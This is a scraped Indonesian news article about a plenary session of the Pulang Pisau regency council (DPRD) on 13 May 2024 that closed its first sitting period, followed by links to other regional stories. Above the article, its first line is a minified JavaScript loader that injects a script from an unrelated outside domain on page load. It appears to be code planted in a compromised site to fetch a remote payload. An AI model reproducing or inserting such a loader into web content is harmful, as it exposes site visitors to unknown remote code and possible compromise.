(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISASU – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Pulang Pisau menggelar rapat paripurna ke-8 masa persidangan 1 tahun sidang 2024, Senin (13/5/2024).
Rapat dipimpin langsung Ketua DPRD Kabupaten Pulang Pisau H Ahmad Rifai didampingi Wakil Ketua I H Ahmad Fadli Rahman, dan Wakil Ketua II Sentot Siswanto dihadiri anggota DPRD Kabupaten Pulang Pisau, serta perwakilan Forkopimda.
Pemkab Pulang Pisau diwakili Asisten I Setda Pulang Pisau, Hayes Hendra dan dihadiri sejumlah Kepala SKPD lingkup Pemkab Pulang Pisau.
Baca juga: Calo Kredit Kupedes Fiktif Bank BUMN di Banjarbaru Vonis 4 Tahun Penjara
Wakil Ketua II DPRD Pulang Pisau Sentot Siswanto mengatakan, produk DPRD Kabupaten Pulang Pisau masa persidangan 1 tahun sidang 2024 telah menyelesaikan beberapa tahapan, diantaranya mengeluarkan persetujuan bersama atas Raperda penyelenggaraan jalan umum dan jalan khusus, serta Raperda tentang penyelenggaraan perlindungan perempuan dan anak di Kabupaten Pulang Pisau. Membentuk panitia khusus terhadap Raperda tentang LKPj Kepala Daerah tahun anggaran 2023, mengeluarkan persetujuan bersama tentang keterangan pertanggungjawaban anggaran 2023. “Juga penyampaian pokok-pokok pikiran DPRD, dan fasilitas tindak lanjut laporan masyarakat,” kata Sentot Siswanto.
Lebih lanjut Sentot Siswanto mengatakan, DPRD Kabupaten Pulang Pisau melaksanakan penutupan masa persidangan 1 tahun sidang 2024. Mewakili pimpinan DPRD Kabupaten Pulang Pisau mengingatkan kepada anggota DPRD Kabupaten Pulang Pisau bahwa memasuki masa sidang berikutnya akan ada beberapa tugas.
“Kami ingatkan kembali bahwa dalam menjalankan fungsi pembentukan Perda, DPRD membahas bersama Bupati Pulang Pisau dan menyetujui atau tidak menyetujui rancangan Perda, kemudian mengajukan usulan rancangan Perda serta menyusun program pembentukan peraturan daerah bersama Bupati,” katanya.
Dalam menjalankan fungsi anggaran, DPRD melalui alat kelengkapan DPRD bertugas membahas KUA dan PPAS, membahas rancangan Perda tentang APBD, Perda tentang perubahan APBD, serta membahas rancangan Perda tentang LKPj pelaksanaan APBD.
“Kemudian untuk menjalankan fungsi pengawasan, diwujudkan dalam bentuk pengawasan terhadap pelaksanaan Perda dan Perbup, pengawasan terhadap pelaksanaan ketentuan peraturan perundang-undangan lain yang terkait dengan penyelenggaraan pemerintahan daerah,” pungkasnya. (Kanalkalimantan.com/rawi)
Reporter : rawi
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
This website uses cookies.